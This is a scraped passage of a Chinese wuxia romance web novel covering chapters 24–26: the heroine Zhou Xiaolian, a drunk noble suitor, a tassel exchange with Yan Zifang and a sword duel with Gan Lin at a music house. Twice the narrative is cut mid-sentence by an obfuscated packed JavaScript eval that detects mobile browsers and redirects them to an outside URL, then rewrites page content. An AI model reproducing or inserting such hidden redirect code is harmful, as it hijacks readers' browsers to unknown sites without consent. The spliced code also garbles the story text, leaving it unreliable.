小怜手脚并用——更多的是在心中默念道心清净,努力把自己从这慷慨且富裕的胸怀中拔出来。 “等——等——”周小怜好不容易把脸露出来,方喘了口气,抱着她的人又压了下来。 男人声音很轻,缓,慢,像读诗,端着架子,讲音韵语调。 他有些虔诚,柔软的唇几乎贴在小怜的耳畔,热气暧昧,一字一句说:“我的狐狸,我的仙人,你终于来这里了……” 而小怜第一眼,只看见他乌亮的发丝,上面戴着一根作用不大的,工艺很是一般的青玉簪。 小怜瞳孔一缩。 乌兆星和燕紫芳,一人抓着他一边的头发,活生生把他的头从小怜身上拉起来。 “啊……痛、痛痛痛痛痛——”男人似乎是没想到他们两个人居然用这么大力气,不得不被拽得甩出去一两步,跌倒在一旁的花丛中。 小怜惊道:“等、等等,这个人是——” ……是褚见珏。 她没来得及拽住对方衣袖,下一瞬只见他长发凌乱,垂丝海棠落英缤纷,洒落在男人发上身上。院中灯火幽幽,照出他半面酡红醉意,失魂痴样,眼睛一转不转,只深深看向小怜所在。 昔年醉仙楼露台,也是如此情景。 周小怜一手捂住脸:“……你们四个难道是商量好了来这儿堵我的?这下好了,就缺一个甘霖。” “那他最好别来。”乌兆星厌烦道。 在场三人中,乌兆星也是见过褚见珏的。此人出现简直出乎事态发展和两人意料,燕紫芳倒还是波澜不惊,贤惠的帮小怜整理了一下有些乱了的鬓发。 周小怜顾不上褚见珏到底是怎么出现在这里的了,她一手抓着乌兆星,一手抓着燕紫芳:“赶紧跑,扯上你们俩就很多人了。我不想再扯上一个京里的少爷——” 而且褚见珏还是世家大族的长公子……嗯? 阮真棋追着人查到洗雪山庄,此人出身京畿名门望族,势力相较辛家只多不减。而且那个人,眼下就在韦郡之中? 可褚见珏是个文不成武不就,痴心于江湖轶事,和小怜臭味相投的风流草包…… 周小怜的戒备心如壁上烛光明灭,起了又灭,灭了又起。 照理来说,此时宁可错杀一千,不可放过一万比较好。 但那个人若不是褚见珏,这便是误杀朝廷大官之子的罪名,只会让周小怜把洗雪山庄置于不义之地。届时螳螂捕蝉,黄雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362298|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后,烧香天想要害洗雪山庄,更是手到擒来了。 小怜咬咬嘴唇,难道真是她心太软? 乌兆星看出她纠结,似乎也是想起方才施仙娥所言。他眉头一拧,变脸极快,直接转身一掌,朝褚见珏胸口直取。 周小怜失色阻止:“阿星,不行!” 乌兆星恨道:“为何!” 周小怜道:“此事并非小事,此人也并非常人!” 乌兆星收了八成力,一掌斜击在一旁垂丝海棠的树干上,花树轰然倒塌,乌兆星喘着粗气。褚见珏还是神志不清,坐倚在树旁……或许是喝酒喝醉了。 乌兆星道:“姐姐!你一直心软,瞻前顾后,只会拖累你自己!” “可若他无辜呢!”周小怜有些崩溃,“重臣之子离奇死于此地,你难道想韦郡也深陷战祸吗?” “天下祸乱,并非因我所起,又与我何干?”乌兆星寒声道。 他似乎终于对陪着小怜一起跑来跑去这件事情有点疲倦了,颓然道:“我本身就是没什么好名声的魔头,手上再添一条人命又有何妨?你若觉得是他,那我便为你杀了他;若不是他,我们再去找罪魁祸首,或者血洗烧香天……” 小怜皮笑肉不笑,嘴角抽动:“动不动就血洗?你我三人谈何容易?” “可你不是想要快意江湖吗?”乌兆星言辞尖锐,“这样算什么快意?我们这种人,就是杀来杀去的。” 周小怜低着头,手指在不知不觉间攥紧衣角,片刻后道:“其一,我与他有一段露水情缘,也算相熟……吧;其二,若是误杀,到时候清算起来,就算你一力承担,我也难逃干系,烧香天对洗雪山庄虎视眈眈,这样的后果,我承担不起。” “况且,若这个人是你,我也会……这样做。” 乌兆星听到这句话,神色才缓和不少。他叹了口气:“……所以,还是非得要去温柔乡走一趟吗?” 周小怜点头:“知己知彼,百战不殆。况且若不是他,我们也还是要去的,只不过是多确认一回罢了。若真与他有关,我不会心软的。” 乌兆星道:“就算姐姐心软,我也会替你做的。” 两人正在推心置腹时,褚见珏就像看准了时机一样,又跌跌撞撞朝小怜跑去——这一次,倒是被燕紫芳拦了下来。 “啊,干什么啊,为什么要阻拦我找仙子……”褚见珏嘟嘟囔囔,也不知道他到底喝了多少酒,这会儿只知道向小怜伸爪子,“仙子,仙子,你又来看我了……” 他软成一滩,倒是与燕紫芳大相径庭。燕紫芳没有像乌兆星一样对小怜多说什么,只问道:“要带着一起走吗?树断了,动静很大,等会有人来了就不好走了。” 小怜看着褚见珏的脸……要带走吗?他这副不入流的德行,在从前的京畿就是出了名的。这会儿给周小怜纠结的时间不多,眼见褚见珏扭着身子,嘴里还迷迷糊糊道:“二小姐,你都没有告诉过我呀,你是洗雪山庄的周……” ……醉鬼怎么见到自己还能把自己老底抖个干净的?! 小怜生怕褚见珏现在见了自己一面又管不好吃酒吃醉了的嘴,把自己的行踪漏的到处都是,之后若招来周汀情两人就不好……对于现在的局势来说也不是那么不好! 但事情结束,自己肯定又要被逮回洗雪山庄了。 周小怜天不怕地不怕,只怕被关在暗无天日的洗雪山庄里结婚。她当机立断道:“走,把他去温柔乡。若不是他就把他丢在那;若是,我自会取他人头。” 燕紫芳沉声道:“好。”他直刀一挑,褚见珏的身体飞了过去,竟然不偏不倚,正好砸到乌兆星身上。 “喂!你故意的?!”乌兆星猛接住被丢来的褚见珏,他恨得牙痒痒,又想把褚见珏扔到地上,又怕给这醉鬼砸的不知好歹,到时候他趴在地上动不了,只有一张嘴乱说话,那就很麻烦了。 燕紫芳眨眨眼,表演出万分无辜道:“并非,只是劳烦你。” 他说话飞快,生怕被乌兆星咬上。说完之后,此人就头也不回,快步跟上小怜离去脚步。 徒留乌兆星与褚见珏两人在原地纠纠缠缠。 褚见珏还在原地鬼哭狼嚎道:“仙子——仙子不要走啊——第三回了——不要啊——” 听褚见珏哭嚎听得耳朵疼的乌兆星:…… 啧,这拿刀的死哑巴小白脸就是故意的! 24. 凤箫声动 算上在琼鱼坊赌上那一场赌局和与施仙娥交谈的时间,小怜居然在琼鱼坊里也不过只待了一个时辰多一点。 三人是酉时正入的城,出了琼鱼坊,小怜随便找了一处做馄饨的摊头问时辰和去温柔乡的路,这般得知现在正是戌时一刻。 她也有些感慨道:“琼鱼坊遮天蔽日,在其中赌钱的人分不清早晚,出来才发现时间过得居然这么慢。” 燕紫芳与她短暂躲开乌兆星和褚见珏,两人漫步街头,温柔乡也在郡东,好找。周小怜脚步不急,燕紫芳也随她慢慢走。 两人又相对无言,身旁玉壶光转,小怜踌躇着又问:“你真的还要再和我走吗?” 燕紫芳下意识侧首去看她,小怜自觉这一路上总把燕紫芳卷入麻烦的心虚,余光瞥见了他的动作,却没敢对上他视线:“一开始,不是只是为了找我爹吗?” “现在牵扯了那么多人,那么多事,还说要谋反。” 周小怜一点点吐泡泡吐春蚕丝,把乱糟糟的心思都一股脑儿扯出来,和燕紫芳说这些很羞耻,可更羞耻的事情她也做过。 两人第一次见面,她就对燕紫芳又哭又闹了。 周小怜犹豫道:“之后我们肯定会遇到更加凶险的事情。反正我是觉得,你为了我爹帮我做这些事情,不值当。” 她眼睛闪烁,燕紫芳一动不动地盯着,不知不觉间,已然看得有些出神。 可心思千千万万,又有许多事情不能一一与一个生了病,记不清过去的人讲。小怜对燕紫芳踌躇不决,他也没有比她的纠结好到哪里去…… 一路以来,为了瞒着周小怜说的真真假假的话太多,以至于燕紫芳如今也不知道要从何向她证明自己跟着她,其实真的别无所求。 燕紫芳语气中有些无助,喃喃道:“我知道。你就当我也心肠好,想帮帮别人吧。” 周小怜眨眨眼睛仔细瞧他:“我真信啊,你看上去是挺面善的。” “是么?”燕紫芳眼神远去,不知又在看什么,就是不敢看小怜,不敢和她对上视线,“你第一次见我的时候哭那么厉害,我还以为我面目可憎,能止小儿夜啼。” 周小怜:“和那有什么关系,以前没人说过你长得好看吗?” “很小的时候有人说,后来没有了。” 讲到这里,还没到温柔乡,两人又没什么话可以聊了。周小怜按不住心里那点对燕紫芳的好奇,像个小麻雀叽叽喳喳问道:“你出身到底是非衣会还是紫羲楼?” “都不是,”燕紫芳语气平平,又补了一句,“不全是。” 周小怜讶异:“啊,你两个都在?这不行的吧。” 燕紫芳抿唇道:“我不是那两个地方出身。三百两的刀鞘和玉玦是,刀不是。” 紫羲楼的刀鞘还不明显,但一路以来因为玉玦,燕紫芳已经被误会成非衣会的人很多次了。 非衣会在江湖上也不是什么名声很好的门派,简而言之,就是为了自己的欲望祸乱四方。其手段不分黑白,也不受礼教道德的限制,从心所欲。 人非人,衣非衣。没了那一层名为道义礼法的壳,非衣会所作所为在常人眼中,便相当离经叛道。 加之非衣会门人的确经常惹出尸山血海的大事,门人智多近妖,江湖人听到这三个字,大多都会大唾一口,然后躲得远一些。 说完这些,燕紫芳正巧看见一旁有一处小摊。摊头简陋,摊主是个看上去很年轻的女人,她正盘腿坐在地上,前头摆着一些手编的穗子……燕紫芳脚步顿了一下。 周小怜似有所感,她也低头看去,见到摊位上摆着的东西,干脆停下了脚步:“穗子啊,你要买一个吗?” 燕紫芳蹲身去看,摊主殷勤地凑上来道:“郎君和娘子可是要买些穗子?不妨多看看我摊子上几个,这些都用了好料子,您看上面的珠子!” 燕紫芳端详一番,坦诚道:“我看不懂。” 绣工如遭天谴的小怜却对这种手作品来了兴趣,也和他一起蹲着去看:“我来!你喜欢什么颜色的?红的?紫的?我们多买几个好了!” 燕紫芳点点头:“你挑吧,你挑的我都喜欢。” 摊主见燕紫芳媚眼讪讪抛给爱手作的小怜……小怜还没看到,已在心里把他们两人的前世今生都编了个相爱相杀、相知相守的来回。 女人面色有几分藏不住的揶揄,和小怜搭话道:“娘子,我这儿的络子穗子搭在香囊啊,荷包上啊,都好看得很。若是娘子想以物寄情,也合适的!我包灵验的!” 周小怜正一门心思的挑挑选选自己喜欢的颜色和配件,忽听得摊主这么说,愣了一下:“……以物寄情?” “对呀,送情郎嘛,”女人朝她挤眼一笑,又转头对燕紫芳说,“或者公子也可以借物托相思……” 周小怜没上的道,燕紫芳倒是上了:“那我也挑一件吧。” 周小怜:……!!! 这下坏了,她没有做过那么循序渐进的事情! 与以往四个男人谈感情,就没有如此含情脉脉过的。如今这般与男人毫无防备地同游街上,还是第一次! 周小怜眼巴巴看着燕紫芳选穗子,他从左到右掠过,手套在灯火下泛着油亮光泽,骨肉匀停,五指纤长,让人不由遐思两只手手原本的模样…… 应当……就是这样的一只手,方才在琼鱼坊的楼梯,拉着自己的手腕…… 昨夜也…… 周小怜对这样暧昧的场景和氛围后知后觉,眼下止不住手腕狂抖,就连穗子都拿不稳了! 摊主看小怜愣在原地,活一根呆木头开花,乐见其成。 她正想要火上浇油,却见燕紫芳一只手握住了小怜的手腕,正若无其事问她:“手怎么抖得这么厉害?别动,我看看你手上的穗子……” 周小怜心鼓正被自己狂擂一番。女人在什么时候最紧张?她眼睁睁看着燕紫芳的手指在自己手心里摸来摸去,毫无一丝邪念,背后却起了一片发痒的疙瘩。 她话也不说了,浑身僵硬的任由燕紫芳在手心里轻抚。他的指尖时不时蹭到小怜柔软的指腹,像被猫儿挠了一下一样……周小怜忍不住道:“你、你别乱摸!” 燕紫芳这次真是无辜地抬头看她:“你不舒服吗?” 他一边说着,手一边还在动作。小怜嘟囔道:“我没有!你快点选!别、别摸来摸去的,很奇怪啊,男女授受不亲的!” 她以前和褚见珏他们乱来的时候就没想过男女授受不亲! 那还是第一次见面!偏偏对着燕紫芳,就什么也不管用了。 “好,我没有乱摸,我选好了。”燕紫芳看着小怜发抖的模样,心中暗暗觉得有些好笑。环着小怜手腕的手慢慢松开。 他举起一条雪青色的络子,先不提其做工精巧,织者巧思也很是夺目。只见那根络子虽然看似平平无奇,但上面不知撒了什么粉,对着光看,竟有些珍珠贝母闪烁的光泽。 燕紫芳松了手,小怜已不能再忍受这种奇怪的情景——她一把把手中的络子穗子全拿了过来,从兜里摸出些碎银,抛给摊主:“我、我不挑了,这些还有他那根我全要了。我我我我们先走了!多谢!” 她脑中太乱,忙不迭从这儿逃开。燕紫芳望着她离去背影,轻笑一声:“多谢,我也先走了。” 摊主捂着那几块碎银,看了热闹还赚了钱,笑眯眯地嘴甜送他:“郎君请便,请便!小女遥祝郎君与娘子百年好合——永结同心——” 周小怜在湍急人潮中快步跑开,下意识甚至用了几分功力。她真是一点也没听到摊主最后那几句话。若是听到了,她一定能就地钻出个地洞跑路。 若是虚情假意一夜露水自然无妨,可偏偏与燕紫芳相识短也不短,长也不长。两人正是情窦初开的年纪,长得也不差,日夜相对,出生入死……燕紫芳没藏着掖着,周小怜对他却总是生怯。 燕紫芳追上来很快,小怜的脚步也刻意慢下来等他。 小怜突然抓着一把穗子就跑的动作很奇怪,她手里现在还攥着那一把花样不同的络子穗子。 看见燕紫芳身影又过来,周小怜尴尬道:“哈、哈哈,对不住啊,把你一个人丢那了……我、我正等你呢。走吧,还得去温柔乡——” “等一下。” 燕紫芳眼睑半遮眼眸,不急不忙,抬起小怜那只攥着东西的手,小怜也不知自己是怎么想的,竟直接就摊开手掌。 燕紫芳帮她把手里的穗子络子理好,放好,又把自己买的穗子放在她手心里:“给你的。” “……我买了很多,而且铜凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362299|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不——”小怜挣扎道。 燕紫芳道:“不是非要你用,只是……想从你这里换一根。” “啊?”周小怜没听懂他意思。 燕紫芳又把腰间的三百两放在小怜的掌心里,缓缓道:“小怜,我想用这根穗子和你换一根你选的穗子。然后……可以请你帮我把三百两柄上的玉玦,换成你喜欢的穗子吗?” 没想到燕紫芳居然会在这个时候叫自己的名字。周小怜骨头都酥了一片,她有些手足无措——也不全是。 周小怜呆呆地看着燕紫芳,颊上飞红,耳根粉红,她不自知,意随心动,坦诚道:“可是我最喜欢你拿来的这根怎么办?” “……那就用这根?” 燕紫芳对小怜四目相对,是有些心不在焉了:周小怜现在看上去像偷油被发现的老鼠,又或是为了过冬藏的食物被偷走了的狐狸。杏眼睁圆,火光下水盈盈——说好的风流呢? 风露中,流光潋滟。 “我现在觉得你有点坏心眼,”周小怜嘴上如此说着,却还是任劳任怨的埋头为他解了玉玦,换了穗子,把三百两递还给他,“我有正事要做,不能沉迷于美色……” 燕紫芳深以为然:“嗯,我也不行。我要配合你。” 周小怜没好气道:“你少招惹我吧!招惹我的男人都很后悔。等到一切结束,我就把你吃干抹净,然后拍拍屁股把你丢到一边,你就只能偷偷抹眼泪了。” 燕紫芳又被她逗笑了:“你想看我偷偷抹眼泪吗?” “……” 一点点想吧?周小怜不禁想起上次在客栈里那一巴掌,那个无声无息面无表情,就乖乖掉眼泪的燕紫芳。 气氛在不知不觉间缓和了下来,眼见快临近温柔乡所在,燕紫芳诚恳道:“小怜,你其实不用担心我。也不用想我会不会不愿意帮你,会不会死在这些乱七八糟的事情里。” “无论你问多少遍,我都会告诉你,一切的选择是我自愿做出的。我不会后悔,也不会因为任何事情离开你,”燕紫芳长叹一口气,“你想做什么,就去做吧。” 周小怜有些恍惚。 她问:“为什么要这么帮我呢?” 周小怜其实宁愿燕紫芳放开手,或者等一切平息之后,再来利用她。 总之,燕紫芳明晃晃的有所图谋,图谋一些与利益相关的事情,对于她来说,反而还能接受的比较轻松。 可偏偏燕紫芳好像想要她的真情。 小怜不想去赌燕紫芳身上那些可能,他会不会是一个值得托付的好人? 周小怜一路走来,一直坚信不疑的认为世上除了自己,没谁值得全心全意的托付。更何况,燕紫芳是有很大的事情瞒着自己的…… 对一个人的心动是无法控制的,可对一个人的喜欢是可以的。 小怜告诉自己要清醒一些,往自己脑袋上猛浇冷水,借此压制住心中的澎湃。 燕紫芳只是平淡的告诉她:“因为我被狐狸精的美色所困。” 把戏又用了一次,小怜这次只是苦笑一声:“好烂的笑话。” 你来我往之间,两人已到达温柔乡楼前。 在人山人海,花灯通明之中,他们不约而同地看见了背着光,正摆着一张臭脸,面色不善,死死盯着他们两人的乌兆星。 ——和根本站不稳,摇摇晃晃,衣襟比刚才开得还大的褚见珏。 他们两个人看上去各有各的狼狈,都是从头到脚一身的混乱。褚见珏衣服乱,乌兆星头发乱……要不是都还穿的过得去,长得不错,这两人甚至可以搭伙去街边入伙杂技班子,或流浪汉子。 反观周小怜燕紫芳,一路上说说笑笑,一人配刀,一人持剑。虽衣衫普通,但气质芝兰玉树,风流雅致,在外人看来,简直是好一对登台的金童玉女! 乌兆星愤愤不满,一字一句,幽怨道。 “你、们、去、哪、了!” 随着乌兆星这句怨气洋溢的话一出,还不等小怜向他解释,四周霎时间议论纷纷。 眼见他们年纪相仿,有人猜姐弟、有人猜兄妹、也有人猜好友…… 但更多人猜的,都是: “这不会是什么小夫妻出来,结果妻子和兄弟跑了吧……” “哎呦,世风日下——” 25. 玉女芳中剑 小怜无奈,本想大吼一声:“我们是清白的!”却想起方才在大街上帮燕紫芳换穗子。虽然并不是什么见不得人的偷情之事,但眼下就像是真背着乌兆星和褚见珏做了什么亏心事一样。 ……不对,他们俩又算哪门子葱?! 周小怜攥了攥衣袖,她对心中那些诡异的心虚感有些糊涂。比起怕被人传闲话,她好像更在意的是……在燕紫芳面前被传? 可小怜到底没把那些自证的话说出口。和燕紫芳偷情本就是无稽之谈,她何必要与旁人解释自己到底清不清白? 真要是不清白,比起燕紫芳,还是乌兆星和褚见珏因为过往之事,与她更不清不楚。 周小怜快步上前,她不想再去听那些纷纷扰扰。本身与这些给不认识的她上来就判了偷情罪的人争辩也毫无意义。 世上很多人就是喜欢捕风捉影,乐见良家做娼,圣女堕落,好像自己就没有为人上的缺陷,万分纯洁无瑕一样。 小怜平静向乌兆星解释:“先进去吧,这里那么多人。我和……紫芳,人生地不熟的找路过来,晚你一步,不是很正常的事情吗?” 乌兆星先是听到了身边人的议论,起初还有些顺势而为的意思。但见周小怜认认真真与自己解释,语气也松懈了下来:“你们走得太快,现在集市上正巧人有许多,我没来得及追上你们……也是。” 而周小怜刚靠近一些,褚见珏又眼睛一亮,只听他絮絮对小怜喊着“仙子!”,就动作矫捷的想扑过来抱着她! 小怜抽身躲在燕紫芳身后,乌兆星眼疾手快,一把抓住褚见珏发辫——扎得相当潦草,是刚才为了拉住醉酒难以控制的褚见珏,乌兆星随手捋的一把。 “方才在路上就这幅样子,”乌兆星拽着褚见珏头发往里扯,“好了姐姐,别担心,我保护你!” 乌兆星一句姐姐,许多偷情之论便不攻自破。看热闹的人见他们离得远了,乌兆星和小怜两人神色自若,本就没什么再继续打探下去的心思。 “原来是姐弟……哦,想来是小郎君看不惯姐姐和姐夫关系要好呢!” “我家弟弟见我出嫁时也是如此!” “那剩下那个人呢……” “可能是什么……爱而不得喝多的人??” 还剩下的人,听到乌兆星这句姐姐,霎时又换了个风向讨论。 小怜不动声色地往燕紫芳的方向又贴近些,议论声渐弱去。乌兆星拽着褚见珏往温柔乡的门槛上过,嘴里还招呼着:“姐姐,快进来——啊!” 燕紫芳侧过头,瞥了一眼松了口气还不自知的小怜:“他们好像摔了。进去吧?” 周小怜没与他对上目光,心思也没在乌兆星那两个人身上,心不在焉的含糊道:“嗯,进去吧。” 温柔乡与京畿醉仙楼虽说上头同为一处,但醉仙楼是酒家,也做皮肉生意;反倒是起了个暧昧名字的醉仙楼,实则只是个谈风颂雅的乐坊。 至于在这两者之上,统管各地类似情报枢纽的,便是江湖中赫赫有名,专做南来北往情报买卖的神光斋。 神光斋斋主神出鬼没,无影无踪。其手下十二支神,森罗变化,天涯或海内,到处都是神光斋插的桩子。 而神光斋的桩中,京畿醉仙楼最为艳名在外,甚至已莫名其妙成了一种“外地人去京畿必逛”的景观。 而温柔乡在韦郡当地,远不及有当地两代地头蛇——辛家和烧香天扶持的琼鱼坊声势浩大。 江湖人往往偏好为各地排列几处标志,其中卖花的地方更是受人瞩目。温柔乡虽然是个乐坊,可这名字又让它被误解。 就连小怜初至韦郡时也没想到,这里居然也是神光斋的桩子…… 还以为又是那样可怜姑娘们卖春的地方,所以这才被排在黄金台琼鱼坊之列中。 周小怜两人在乌兆星两人之后入内,可刚听见了他的叫声,走进温柔乡之后,却没看见他和褚见珏两人。 小怜探头看看周围,莺来燕往,这儿的女孩们面上挂着柔和的笑,大多穿着款式相似,颜色也相近的衣裳,虽然不是什么绫罗绸缎,可款式看着相当便利舒服。 温柔乡内打扫的干净妥当,四处摆了些屏风花卉,隔开了在楼底坐着的宾客们。烟香清幽,视野开阔,毫无琼鱼坊那里吞云吐雾,五石散乌糟糟的味道。 自小怜入韦郡,还是头一回来这么舒服地方。她见到温柔乡内一片和谐景象,忍不住叹道:“这里倒是……出乎意料。” 燕紫芳附议道:“此处的确不似神光斋其他明桩。” 两人正在边上站着,小怜忽见一名少女款款走来,在他们两人面前微微福身:“坊主今夜久侯娘子与郎君,不过因种种缘故,坊主方才托小女为二位递一句话。” “‘……今次温柔乡招待不周,还望周二小姐海涵。’” 奇怪。 小怜尚未入座,何来的招待不周? 况且——为何前面用的是娘子的称呼,坊主却又偏偏提到洗雪山庄那一层身份? 而且乌兆星与褚见珏自入门后原地消失,不知去向。 先不提褚见珏醉酒无力……他身边的乌兆星,又怎么会轻易地舍下身后的周小怜不顾? 周小怜听了那女孩的话,顿感不妙。 可还不等她拉上燕紫芳从这地方逃开,一道极为熟悉的剑鸣,已毫无保留地向她扑来。 温柔乡内没有雀鸟。 ……却听鹦鹉碎碎语。 “金风玉露一相逢……” 温柔乡内在一息中,灯儿也淡淡去。台上歌女拨动琵琶弦,台下宾客屏住呼吸,只听她轻声将歌儿唱来。 三柄铁器冷光乍现。 铜凤剑身斜照出一片银红,周小怜肩上有血,脸上有血。 她躲闪不及,被鹦鹉一剑刺中,双眸里却没有对来人产生一丝不可思议,这倒是远超出甘霖预料。 甘霖一剑又一剑袭去,气息丝毫未乱,轻松笑道:“好久不见,辛辛。” 小怜束发的发带在方才也被他一剑挑断。此时披头散发,加之要躲开甘霖攻式,此时狼狈不堪。 燕紫芳已然拔刀,他武功远不及小怜,更不要说甘霖。眼下他勉强横亘在周小怜和甘霖两人的剑阵之中,三百两招架甘霖几剑,已有细细崩断之声:“她不叫辛辛。” “没事!我自己也行,你别分心!” 小怜勉强喘过一口气,铜凤剑柔软,剑尖接过三百两撇来的一点寒芒。 当时她那一掌没有收手,甘霖为何这么快便追了过来?周小怜心有不解,眼下却有更要紧的要对付。 第一式荣雪、第二式埋雪……洗雪十式轮番上阵,小怜步步紧逼,一招一式间霜意大开大合,铜凤剑在她手中杀气腾腾,宛若玄铁神兵。 可周小怜肩关上到底被刺了一剑,抬手间凝滞疏瑟明显,满是破绽。 两人武功本就有差,甘霖出剑四两拨千斤,轻盈如露滴石穿。除了最初那一剑,剩下的出招,都是在与她缠缠绵绵罢了。 甘霖刚在剑阵中望见三百两刀柄上的雪青穗子,这会儿与小怜对剑,叹道:“我记得在山庄里时,他刀上还是非衣会的玉玦。” “环则圆满,玉断为分离,剑穗千千丝,你为他织补那份缺憾吗?” 他语气不善,几分可怜,几分嫉妒。 怨,比乌兆星怨的更深,更轰轰烈烈。 手执铜凤的周小怜闻言不禁冷汗直下:“说的什么东西,那是我刚刚路上买的!买了一把!你想要我也分你一根!” 台下人只当他们是一场戏目,正纷纷拊掌叫好。台上,琵琶声嘈杂急切,弦动愈发震重,是为攻心。 为何? 周小怜从洗雪山庄出逃时,说是利用四人,可最后还是伤甘霖最深,毫无保留的一掌断情绝义,甘霖如今还她一剑,理所应当。 周小怜不怪他。她对甘霖问心有愧。 可一剑之后,甘霖没有停手,而是继续攻来。小怜自觉两人关系,不至于如此你死我活。 她想问甘霖……他到底想做什么? 周小怜在绵绵剑中还有恍惚的闲暇,她的困惑还没出口,眼皮却猛跳不止。 她只见甘霖的鹦鹉忽地调转方向,竟直取向燕紫芳眉间! ……他想杀燕紫芳? 甘霖变得突兀,小怜刚出神,此时反应过来出剑去挡,已彻彻底底的来不及了! 而以燕紫芳的武功,即使有百家所长,又如何能挡住精于一式,有着长年积累的甘霖? 看刚才燕紫芳与甘霖的对招,小怜心念一闪:说不定就连武功平平的自己想要取他性命,他都未必能挡下…… 至于眼下?眼下已顾不上那么多了。她看见鹦鹉剑身上倒映着燕紫芳的脸,也不知自己是怎么想的。 ——竟徒手去抓住甘霖锐意正盛的鹦鹉! “啊!流血了!” 靠得近的看客见此情形,忍不住惊呼一声,又被在他身边地侍女安抚住。 侍女声音和缓,正好在场所有人都能听见:“刘公子请放心,那只是我们坊主的安排。” 那客人不是第一次来温柔乡,只有些许疑心不定,看着鲜血,一时真假难辨。困惑道:“真、真是如此吗……?” 侍女定定道:“是的。” 掌心被活活切开,周小怜右手顷刻间血如泉涌,红了鹦鹉。收剑已经来不及了,况且甘霖也没有收住剑意的意思。 她闷哼一声,险些踉跄跪倒,可还是苦苦支撑。 “小怜!” 燕紫芳忙叫住身前少女的名字,他脸上难得一见惊慌失措的神色,正想要拔刀砍向甘霖,却又感觉到自己被小怜空着的那只手,紧紧握住。 以免他擅自行动,小怜甚至故意与他十指相扣。 周小怜对燕紫芳虚虚道:“别 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今夜温柔乡中发生的所有,一切在他的计划中,一切又都不在他的计划中……至少小怜这份回护,他始料未及。 甘霖不禁苦涩道:“那你为什么为了他,愿意和我拼命?” 这桩男男女女,恩怨情仇的剧目,让温柔乡今夜的看客们大饱眼福。甘霖与小怜两人的对话,他们尽收耳中,有人可怜小怜,也有人可怜甘霖。 只听看客中有人哭道:“他们三个就不能一起吗……” 周小怜:…… 她正想要和甘霖解释说“倒也不是那么愿意动不动就拼命”,但话还没说出口,天上忽而又纷纷扬扬,撒下花雨。 甘霖收了剑。 他轻声道:“小怜,你赢了。” 甘霖没有再叫她辛辛。 燕紫芳扶住小怜肩膀,她一只手无力垂下,鲜血淋漓,尽滴在遍地花瓣上。 甘霖与小怜遥遥相望。 琵琶女拨指正唱:“便胜却……人间无数。” 一曲结束,戏也结束。甘霖深深望着小怜,道:“为什么一定要救他?” 周小怜明明想过要说什么,可想说的话没有说出口,她靠着燕紫芳,怔怔对甘霖道:“我不知道为什么。” 甘霖挪过一点点脚步,他神色有一瞬的失望,周小怜看在眼中。 可只见他半个身子走入影中,毫无停留之意,小怜这才慌张道:“等等,你去哪里?我还有事想和你——” “周二小姐,我只认识辛辛。” 甘霖打断了小怜的话,他不是没有看到两人十指相扣。 比起小怜若有还无的那一点小心思,燕紫芳和周小怜扣在一起的手,还有小怜时时刻刻的维护,才更让他难以忍耐。 甘霖抛下这一句话,而后彻底消失在众人眼前。 看客们的哀嚎此起彼伏。 小怜对甘霖所有想说的话,就这样,被对于“小怜”来说,是陌生人的甘霖,完完全全的挡了回去。 真的很生气啊……就,因为她现在身边有燕紫芳? 周小怜看着甘霖离开的背影,脑袋空空。 刚这么想着,眨眼间却被燕紫芳紧紧抱住腰肢。 他动作又快又轻,小怜所有的注意力都被他拉了回来。 还没开口安慰他两句,小怜的脸颊和颈窝,都湿了一片。 泪水绵绵不绝,不看都知道燕紫芳哭了。 他哭得很克制,脊背甚至毫无起伏。明明近在咫尺,却听不到他的声音,也看不到他的脸。小怜只感受得到一滴一滴泪水划过的痕迹,和挠得人发痒的睫毛。 琵琶女抱着琵琶,她与小怜面面相觑,颇为嫌弃的摇了摇头:“此曲既完,坊主三楼有请,两位还请速速离去,莫要在此扰了我奏乐的雅兴。” 小怜晃了晃和燕紫芳还牵着的,那只完好如初的手,一边安慰,一边勉强挪着步子把他带离台上:“好了别哭了,是我受伤啊,你哭什么?哭什么?!不准哭了!” 燕紫芳从她肩上抬头——好会挑,肩也是还好着的那一边。湿漉漉的眼睫毛纠成一缕又一缕,他这次有点表情了,两根剑眉完完全全皱成一团…… 还是没表情好,看着燕紫芳泪流不止,唇瓣紧抿,小怜有一点点想笑,又有一点点鬼迷心窍。 他们两人如今身在上楼的楼梯旁,四周没有人,看客们看过这场戏便是看过了,他们不问原委,是真爱来温柔乡听戏。 所有人的目光重新系于琵琶女的乐曲上。她又开始弹她手中那把凤颈琵琶。 小怜低下头,她的唇瓣顺其自然的贴在燕紫芳右眼眼皮上。就这样,蜻蜓点水般,亲了一下。 “两情若是长久时,又岂在,朝朝暮暮……” 26. 狡鼠 可怜小怜这只右手,先是在芜兰坊的时候被雪芽挠,如今又生握住甘霖的剑。眼下真的是腹背受敌,千疮百孔。 燕紫芳似乎没注意到小怜刚刚那一吻,他脸上泪痕未干,动作小心谨慎,珍重的捧住小怜受伤的右手。 周小怜的掌心被血糊成一片,那一道口子深深没入她掌肉,有些脉络的确已被砍断,但小怜右手还不至于到残废的地步。 若方才她再多握一秒的剑,说不定现在就能看见白骨了。那道剑伤四周的皮肉外翻,模样很是狰狞。 燕紫芳有些不忍心再看下去。 他低下头,小怜看见他张口,视线全被燕紫芳的头发遮住。 